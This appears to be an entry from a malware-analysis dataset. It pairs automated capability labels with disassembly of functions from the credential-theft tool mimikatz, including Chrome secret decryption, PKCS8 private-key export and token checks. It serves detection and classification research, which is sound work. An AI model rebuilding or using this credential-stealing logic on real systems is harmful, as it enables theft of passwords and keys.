joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400132e8
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
lea rax, [rax + 0x20]
mov rbx, r8
xor edi, edi
and dword [rax], edi
xor r9d, r9d
mov r8d, 0x40000001
mov qword [rsp + 0x20], rax
mov esi, edx
mov rbp, rcx
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x140013369
mov edx, dword [rsp + 0x58]
lea ecx, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbx], rax
test rax, rax
je 0x140013369
lea rcx, [rsp + 0x58]
mov r9, rax
mov r8d, 0x40000001
mov qword [rsp + 0x20], rcx
mov rcx, rbp
mov edx, esi
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov edi, eax
test eax, eax
jne 0x140013369
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rbx], rax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, edi
add rsp, 0x30
pop rdi
ret

Function at 0x1400133e4
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov rbp, qword [rsp + 0x70]
mov r12, rdx
mov rsi, rcx
mov edx, dword [rbp]
xor ebx, ebx
mov r14, r9
lea ecx, [rbx + 0x40]
mov r15d, r8d
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x14001346b
mov r9, rax
mov r8d, 0x80000001
mov edx, r15d
mov rcx, r12
mov qword [rsp + 0x20], rbp
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x140013462
lea rdx, str._____BEGIN__s______n_s_____END__s______n
mov r9, rdi
mov r8, rsi
mov rcx, r14
mov qword [rsp + 0x20], rsi
call fcn.140013510
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r15
pop r14
pop r12
ret
Function at 0x1400138fc
Capabilities:
Get token membership

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
xor ebx, ebx
mov rbp, r8
mov r14, rdx
lea rax, [r11 - 0x28]
lea r8, [r11 + 0x20]
lea r9d, [rbx + 4]
lea edx, [rbx + 8]
mov rsi, rcx
xor edi, edi
mov qword [r11 - 0x38], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1400139d1
mov eax, dword [rsp + 0x78]
cmp eax, 1
jne 0x14001398b
lea rax, [rsp + 0x38]
lea r9d, [rbx + 1]
lea edx, [rbx + 8]
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x20], 2
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov edi, eax
test eax, eax
jne 0x140013995
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kull_m_token_CheckTokenMembership___DuplicateTokenEx__0x_08x__n
mov edx, eax
call fcn.14000bce4
mov eax, dword [rsp + 0x78]
jmp 0x140013990
mov qword [rsp + 0x38], rsi
cmp eax, 1
je 0x1400139e5
mov rcx, qword [rsp + 0x38]
mov r8, rbp
mov rdx, r14
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ebx, eax
test eax, eax
jne 0x1400139c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kull_m_token_CheckTokenMembership___CheckTokenMembership__0x_08x__n
mov edx, eax
call fcn.14000bce4
test edi, edi
je 0x1400139e5
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400139e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kull_m_token_CheckTokenMembership___GetTokenInformation__0x_08x__n
mov edx, eax
call fcn.14000bce4
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x140013b04
Capabilities:
Get user security identifier

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
xor esi, esi
test r9, r9
lea rbp, [r11 - 0x24]
cmovne rbp, r9
and dword [rsp + 0x40], esi
and dword [r11 + 0x20], esi
mov qword [r11 - 0x38], rbp
mov rbx, rdx
mov r14, rcx
lea rax, [r11 + 0x20]
mov rdx, rcx
mov rcx, qword [rsp + 0x90]
mov rdi, r8
mov qword [r11 - 0x40], rax
and qword [r11 - 0x48], rsi
lea r9, [r11 - 0x28]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
jne 0x140013bf5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140013bf5
mov edx, dword [rsp + 0x40]
lea ecx, [rsi + 0x40]
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbx], rax
test rax, rax
je 0x140013bf5
mov edx, dword [rsp + 0x88]
lea ecx, [rsi + 0x40]
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rdi], rax
test rax, rax
je 0x140013be9
mov r8, qword [rbx]
lea rcx, [rsp + 0x88]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x90]
lea r9, [rsp + 0x40]
mov rdx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
mov esi, eax
test eax, eax
jne 0x140013bf5
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rdi], rax
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rbx], rax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov eax, esi
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
Function at 0x14002f580
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x38
mov rax, qword [rcx + 8]
mov r13, rcx
mov ebp, edx
mov r11, qword [rax + 8]
mov rax, qword [rcx + 0x28]
mov ecx, dword [r11 + 0x30]
mov r10, qword [rax + 8]
mov r14, qword [r11]
movsxd rax, dword [r10 + 0x30]
mov r8d, ecx
mov dword [rsp + 0x80], ecx
cmp eax, ecx
mov r15, rax
cmovl r8d, eax
xor ebx, ebx
mov dword [rsp + 0x88], r8d
imul rbp, rax
cmp eax, ecx
je 0x14002f5e9
cmp byte [r14 + 0x10], bl
lea eax, [rbx + 8]
cmovne ebx, eax
mov rdi, rbp
sub rdi, r15
jmp 0x14002f6de
cmp rdi, rbp
jge 0x14002f6e6
and qword [rsp + 0x20], 0
movsxd r12, ecx
mov rax, rdi
cqo
idiv r12
mov rsi, rdx
xor edx, edx
lea r10d, [rax + 1]
mov rax, qword [r13 + 8]
mov rcx, qword [rax + 8]
mov eax, 0x40000000
div dword [rcx + 0x30]
inc eax
cmp r10d, eax
je 0x14002f6d4
lea r8, [rsp + 0x20]
xor r9d, r9d
mov edx, r10d
mov rcx, r14
call qword [r14 + 0x108]
mov ebx, eax
test eax, eax
jne 0x14002f6c5
mov rcx, qword [rsp + 0x20]
call fcn.140022098
mov ebx, eax
test eax, eax
jne 0x14002f6c5
mov rax, qword [rsp + 0x20]
movsxd r8, dword [rsp + 0x88]
add rsi, qword [rax + 8]
mov rax, rdi
cqo
mov rcx, rsi
idiv r15
add rdx, qword [rsp + 0x90]
call fcn.1400c3ee0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rax + 0x10]
mov byte [rcx], bl
test rdi, rdi
jne 0x14002f6c5
cmp dword [rsp + 0x98], edi
jne 0x14002f6c5
mov rax, qword [r13 + 0x28]
mov rcx, qword [rax + 8]
mov edx, dword [rcx + 0x3c]
mov eax, edx
mov byte [rsi + 0x1f], dl
shr eax, 0x18
mov byte [rsi + 0x1c], al
mov eax, edx
shr eax, 0x10
mov byte [rsi + 0x1d], al
mov eax, edx
shr eax, 8
mov byte [rsi + 0x1e], al
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x14002f6d4
call fcn.140021a94
mov ecx, dword [rsp + 0x80]
add rdi, r12
test ebx, ebx
je 0x14002f5f4
mov eax, ebx
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140048110
Capabilities:
Reference sql statements

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x30
mov ebx, r8d
mov rdi, rdx
mov r8, rdx
mov dword [rax - 0x10], ebx
mov qword [rax - 0x18], rdx
lea r9, str.sqlite_master
lea rdx, str.SELECT_1_FROM___w_._s_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d_NULL
mov rsi, rcx
call fcn.14004c6c0
test ebx, ebx
jne 0x140048163
lea r8, str.sqlite_master
lea rdx, str.SELECT_1_FROM_temp._s_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1_NULL
mov r9, rdi
mov rcx, rsi
call fcn.14004c6c0
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x140058b60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov r15, qword [rcx]
mov rbp, qword [rcx + 0x10]
mov rsi, qword [rcx + 0x88]
mov rdi, rcx
jmp 0x140058c3a
movsxd r8, dword [rsi + 0x10]
mov rax, qword [r15 + 0x20]
mov ebx, dword [rsi + 0x14]
mov r9, r8
xor edx, edx
mov rcx, rdi
shl r9, 5
mov dword [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_97
mov r9, qword [r9 + rax + 0x18]
mov r9, qword [r9 + 0x68]
call fcn.1400586f0
mov r8, qword [rsi + 8]
lea r14d, [rbx - 1]
mov r8, qword [r8]
mov edx, r14d
mov rcx, rbp
call fcn.1400313cc
lea r8, [0x1400e4340]
mov edx, reloc.WLDAP32.dll_Ordinal_12
mov rcx, rbp
call fcn.14003189c
test rax, rax
je 0x140058c43
mov ecx, 0x10
lea edx, [rbx + 2]
mov dword [rax + 8], ebx
mov word [rax + 0x4a], cx
lea ecx, [rbx + 1]
mov dword [rax + 0x3c], ebx
mov dword [rax + 0xc], edx
mov dword [rax + 0x4c], r14d
mov dword [rax + 0x54], ebx
mov dword [rax + 0x68], ecx
mov dword [rax + 0x84], ebx
mov dword [rax + 0x94], ebx
mov dword [rax + 0xb0], edx
mov dword [rax + 0xac], ebx
mov dword [rax + 0xf8], ebx
cmp dword [rdi + 0x34], 0
jne 0x140058c37
mov dword [rdi + 0x34], 1
mov rsi, qword [rsi]
test rsi, rsi
jne 0x140058b8e
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x140058c5c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, qword [rcx + 0x88]
mov r13, qword [rcx + 0x10]
mov r15, qword [rcx]
mov rbx, rcx
test rdi, rdi
je 0x140058d61
mov r12d, 8
movsxd rbp, dword [rdi + 0x10]
mov al, byte [rbx + 0x1f]
mov r14d, dword [rdi + 0x14]
shl rbp, 5
add rbp, qword [r15 + 0x20]
test al, al
jne 0x140058cb7
inc dword [rbx + 0x38]
mov esi, dword [rbx + 0x38]
jmp 0x140058cc6
dec al
movzx eax, al
mov byte [rbx + 0x1f], al
mov esi, dword [rbx + rax*4 + 0xbc]
mov r9d, dword [r13 + 0x90]
lea r8d, [r14 + 2]
mov edx, 0x37
mov rcx, r13
add r9d, 7
mov dword [rsp + 0x20], r14d
call fcn.140031350
mov r9, qword [rbp + 0x18]
mov r8d, dword [rdi + 0x10]
mov r9, qword [r9 + 0x68]
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x20], 0x62
call fcn.1400586f0
lea r8, [0x1400e4370]
mov edx, 5
mov rcx, r13
call fcn.14003189c
test rax, rax
je 0x140058d61
lea edx, [r14 + 1]
lea ecx, [r14 - 1]
mov dword [rax + 0x3c], esi
mov dword [rax + 0x50], esi
mov word [rax + 0x4a], r12w
mov dword [rax + 4], edx
mov dword [rax + 0x20], edx
mov dword [rax + 0x34], ecx
mov dword [rax + 0x54], edx
test esi, esi
je 0x140058d55
cmp byte [rbx + 0x1f], r12b
jae 0x140058d55
movzx eax, byte [rbx + 0x1f]
mov dword [rbx + rax*4 + 0xbc], esi
inc byte [rbx + 0x1f]
mov rdi, qword [rdi]
test rdi, rdi
jne 0x140058c98
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140082220
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
mov eax, 0x20020
call fcn.1400d1d00
sub rsp, rax
xor ebp, ebp
mov r14, rdx
movsxd rbx, ecx
mov edi, ebp
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call fcn.1400c2970
lea rcx, [rax + 0x30]
call fcn.1400c2fcc
mov esi, 0x40000
mov ecx, eax
mov edx, esi
call fcn.1400c30e4
mov dword [0x140153320], eax
call fcn.1400c2970
lea rcx, [rax + 0x60]
call fcn.1400c2fcc
mov edx, esi
mov ecx, eax
call fcn.1400c30e4
mov dword [0x140153318], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov ecx, 0xfde9
mov dword [0x14015331c], eax
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea edx, [rbp + 1]
lea rcx, [0x14008243c]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
lea rcx, str._n__..___RIP_Bozo_a.k.a._Defender_n_.__.___n________n_____________n__v_________n___________n
call fcn.14000bce4
lea ecx, [rbp + 1]
call fcn.140082450
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea esi, [rbp + 1]
cmp rsi, rbx
jge 0x140082320
cmp edi, 0xc000010a
je 0x1400823bc
cmp edi, 0xc000004b
je 0x1400823b0
mov rdx, qword [r14 + rsi*8]
lea rcx, str._nmimikatz_commandline____s_n
call fcn.14000bce4
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, qword [r14 + rsi*8]
call fcn.140082550
inc rsi
mov edi, eax
cmp rsi, rbx
jl 0x1400822da
jmp 0x1400823b0
cmp edi, 0xc000004b
je 0x1400823bc
lea rcx, str._nmimikatz_
call fcn.14000bce4
call fcn.1400c2970
mov rcx, rax
call fcn.1400c2b58
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call fcn.1400c2970
lea rcx, [rsp + 0x20]
mov r8, rax
mov edx, 0xffff
call fcn.1400c4748
test rax, rax
je 0x1400823b0
lea rcx, [rsp + 0x20]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bp
jne 0x140082370
test rax, rax
je 0x1400823b0
cmp word [rsp + 0x20], 0xa
je 0x1400823b0
cmp word [rsp + rax*2 + 0x1e], 0xa
jne 0x140082393
mov word [rsp + rax*2 + 0x1e], bp
lea rdx, [rsp + 0x20]
lea rcx, [0x140105138]
call fcn.14000be28
lea rcx, [rsp + 0x20]
call fcn.140082550
mov edi, eax
cmp edi, 0xc000010a
jne 0x140082320
mov ecx, edi
call fcn.1400823c4
int3

Function at 0x1400823c4
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, ecx
xor ecx, ecx
call fcn.140082450
lea rcx, [0x14008243c]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call fcn.1400c2970
lea rcx, [rax + 0x30]
call fcn.1400c2fcc
mov edx, dword [0x140153320]
mov ecx, eax
call fcn.1400c30e4
call fcn.1400c2970
lea rcx, [rax + 0x60]
call fcn.1400c2fcc
mov edx, dword [0x140153318]
mov ecx, eax
call fcn.1400c30e4
mov ecx, dword [0x14015331c]
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
xor ecx, ecx
cmp ebx, 0xc000004b
jne 0x140082435
call qword [sym.imp.KERNEL32.dll_ExitThread]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140082550
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov edi, 0xc0000001
test rcx, rcx
je 0x1400825f8
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebp, eax
test eax, eax
je 0x1400825f8
mov edx, ebp
mov ecx, 0x40
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1400825f8
mov r8d, ebp
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp ebp, eax
je 0x1400825bd
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, rax
test rbx, rbx
je 0x1400825f8
movzx eax, word [rbx]
cmp eax, 0x21
je 0x1400825e4
cmp eax, 0x2a
je 0x1400825d9
mov rcx, rbx
call fcn.140082610
jmp 0x1400825ed
lea rcx, [rbx + 2]
call fcn.1400a9d94
jmp 0x1400825ed
lea rcx, [rbx + 2]
call fcn.140099b10
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, edi
add rsp, 0x20
pop rdi
ret
Function at 0x14008ae1c
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x47]
sub rsp, 0xc0
mov r14, r9
mov esi, edx
mov rdi, rcx
cmp edx, 3
jb 0x14008af5b
movzx eax, word [rcx]
cmp ax, word [0x1400e90dc]
jne 0x14008af5b
mov al, byte [rcx + 2]
cmp al, byte [0x1400e90de]
jne 0x14008af5b
test r8, r8
je 0x14008af4d
test r9, r9
je 0x14008af4d
lea rcx, str.__using_BCrypt_with_AES_256_GCM_n
call fcn.14000bce4
xor edx, edx
lea rcx, [rbp - 0x21]
lea r8d, [rdx + 0x58]
call fcn.1400c6610
lea eax, [rsi - 0x1f]
lea rcx, [rdi + 3]
mov qword [rbp - 0x19], rcx
add rcx, 0xffffffffffffffed
mov edx, eax
add rcx, rsi
mov dword [rbp - 0x21], reloc.WLDAP32.dll_Ordinal_88
mov dword [rbp - 0x1d], 1
mov qword [rbp + 7], rcx
mov ecx, 0x40
mov dword [rbp - 0x11], reloc.WLDAP32.dll_Ordinal_12
mov dword [rbp + 0xf], 0x10
mov dword [rbp + 0x57], eax
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x14008afbb
and dword [rsp + 0x48], 0
mov edx, dword [rbp - 0x11]
mov r8d, dword [rbp + 0x57]
add rdx, qword [rbp - 0x19]
lea rax, [rbp + 0x57]
lea r9, [rbp - 0x21]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], r8d
mov qword [rsp + 0x30], rdi
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov rcx, r14
call qword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
js 0x14008af3a
mov r8d, dword [rbp + 0x57]
mov rdx, qword [rbp + 0x7f]
lea rcx, str._s:__.S_n
mov r9, rdi
call fcn.14000bce4
jmp 0x14008af48
lea rcx, str.ERROR_kuhl_m_dpapi_chrome_decrypt___BCryptDecrypt:_0x_08x_n
mov edx, eax
call fcn.14000bce4
mov rcx, rdi
jmp 0x14008afb5
lea rcx, str.ERROR_kuhl_m_dpapi_chrome_decrypt___No_Alg_and_or_Key_handle_despite_AES_encryption_n
call fcn.14000bce4
jmp 0x14008afbb
and qword [rsp + 0x48], 0
mov r9d, dword [rbp + 0x6f]
lea rax, [rbp + 0x57]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x31]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rax, qword [rbp + 0x77]
and dword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
mov edx, esi
mov qword [rsp + 0x20], rax
call fcn.14008907c
test eax, eax
je 0x14008afbb
mov r9, qword [rbp - 0x31]
mov r8d, dword [rbp + 0x57]
mov rdx, qword [rbp + 0x7f]
lea rcx, str._s:__.S_n
call fcn.14000bce4
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea r11, [rsp + 0xc0]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14008de88
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov dword [rax + 0x18], r8d
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x38]
sub rsp, 0x110
lea rax, [rsp + 0x78]
mov r13, r9
lea r8, str.SafenetSafeNetKSPSlots
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov rdi, rcx
mov dword [rsp + 0x20], 0x20119
call fcn.14000e314
test eax, eax
je 0x14008e0c6
and qword [rsp + 0x50], 0
and qword [rsp + 0x48], 0
and qword [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x74]
xor r8d, r8d
mov rcx, rdi
mov qword [rsp + 0x28], rax
call fcn.14000e59c
test eax, eax
je 0x14008e0a5
mov eax, dword [rsp + 0x70]
mov ecx, 0x40
inc eax
mov dword [rsp + 0x70], eax
lea edx, [rax + 1]
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x14008e0b9
xor esi, esi
cmp dword [rsp + 0x74], esi
jbe 0x14008e09a
mov ecx, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
lea rax, [rbp - 0x80]
mov dword [rbp - 0x80], ecx
mov r9, rbx
mov r8d, esi
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.14000ea54
test eax, eax
je 0x14008e08e
lea rcx, str._n_____s_
mov rdx, rbx
call fcn.14000bce4
mov rcx, rbx
call fcn.140012764
mov r14, rax
test rax, rax
je 0x14008e08e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rbp - 0x60]
mov r12d, eax
call qword [sym.imp.cryptdll.dll_MD5Init]
mov r15d, 0x5b6
lea rcx, [rbp - 0x60]
mov r8d, r12d
mov rdx, r14
call qword [sym.imp.cryptdll.dll_MD5Update]
dec r15
jne 0x14008dfbc
lea rcx, [rbp - 0x60]
call qword [sym.imp.cryptdll.dll_MD5Final]
xor ecx, ecx
lea edx, [rcx + 0x10]
lea rax, [0x1400ea650]
mov al, byte [rcx + rax]
inc rcx
xor al, byte [rbp + rcx - 9]
mov byte [rbp + rcx - 0x71], al
dec rdx
jne 0x14008dfe0
xor r8d, r8d
lea rcx, [rbp - 0x70]
lea edx, [r8 + 0x10]
call fcn.14001290c
lea rcx, [0x14010e26c]
call fcn.14000bce4
mov rdx, qword [rsp + 0x78]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov r8, rbx
mov rcx, rdi
mov dword [rsp + 0x20], 0x20019
call fcn.14000e314
test eax, eax
je 0x14008e071
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.14000bce4
mov r9d, dword [rbp + 0x50]
mov rdx, qword [rbp - 0x78]
lea r8, [rbp - 0x70]
mov rcx, rdi
mov qword [rsp + 0x20], r13
call fcn.14008e0e8
mov rdx, qword [rbp - 0x78]
mov rcx, rdi
call fcn.14000ee28
jmp 0x14008e085
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x14010e270]
mov edx, eax
call fcn.14000bce4
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LocalFree]
inc esi
cmp esi, dword [rsp + 0x74]
jb 0x14008df52
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x14008e0b9
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_dpapi_safenet_ksp_registryparser___kull_m_registry_RegQueryInfoKey__0x_08x__n
mov edx, eax
call fcn.14000bce4
mov rdx, qword [rsp + 0x78]
mov rcx, rdi
call fcn.14000ee28
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14009870c
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x50
xor ebx, ebx
lea rax, [rbp + 0x30]
mov r14, rdx
mov dword [rsp + 0x38], ebx
mov qword [r11 - 0x38], rax
lea r8, str.PKCS8_PRIVATEKEY
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x28], ebx
mov qword [r11 - 0x48], rbx
mov rsi, rcx
call qword [sym.imp.ncrypt.dll_NCryptExportKey]
test eax, eax
jne 0x140098860
mov edx, dword [rbp + 0x30]
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x14009886e
lea rax, [rbp + 0x30]
mov dword [rsp + 0x38], ebx
lea r8, str.PKCS8_PRIVATEKEY
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 0x30]
xor r9d, r9d
mov dword [rsp + 0x28], eax
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ncrypt.dll_NCryptExportKey]
test eax, eax
jne 0x140098847
mov esi, dword [rbp + 0x30]
lea rax, [rbp + 0x38]
xor r9d, r9d
mov r8d, 0x80000001
mov rcx, rdi
mov edx, esi
mov dword [rbp + 0x38], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x1400987ee
lea rax, [rbp + 0x38]
lea r9, [rbp - 0x10]
lea rcx, str.PRIVATE_KEY
mov r8d, esi
mov rdx, rdi
mov qword [rsp + 0x20], rax
call fcn.1400133e4
jmp 0x1400987f0
mov eax, ebx
test eax, eax
je 0x140098838
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rdx, qword [rbp - 0x10]
mov rcx, r14
mov r8d, eax
call fcn.1400099d8
test eax, eax
je 0x140098818
mov ebx, 1
jmp 0x14009882c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_crypto_keyutil_export_pkcs8_file___kull_m_file_writeData__0x_08x__n
mov edx, eax
call fcn.14000bce4
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140098855
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_crypto_keyutil_export_pkcs8_file___kull_m_string_EncodeB64_headers__0x_08x__n
jmp 0x14009884e
lea rcx, str.ERROR_kuhl_m_crypto_keyutil_export_pkcs8_file___NCryptExportKey_data_:_0x_08x_n
mov edx, eax
call fcn.14000bce4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x14009886e
lea rcx, str.ERROR_kuhl_m_crypto_keyutil_export_pkcs8_file___NCryptExportKey_init_:_0x_08x_n
mov edx, eax
call fcn.14000bce4
mov rsi, qword [rsp + 0x78]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop r14
pop rdi
pop rbp
ret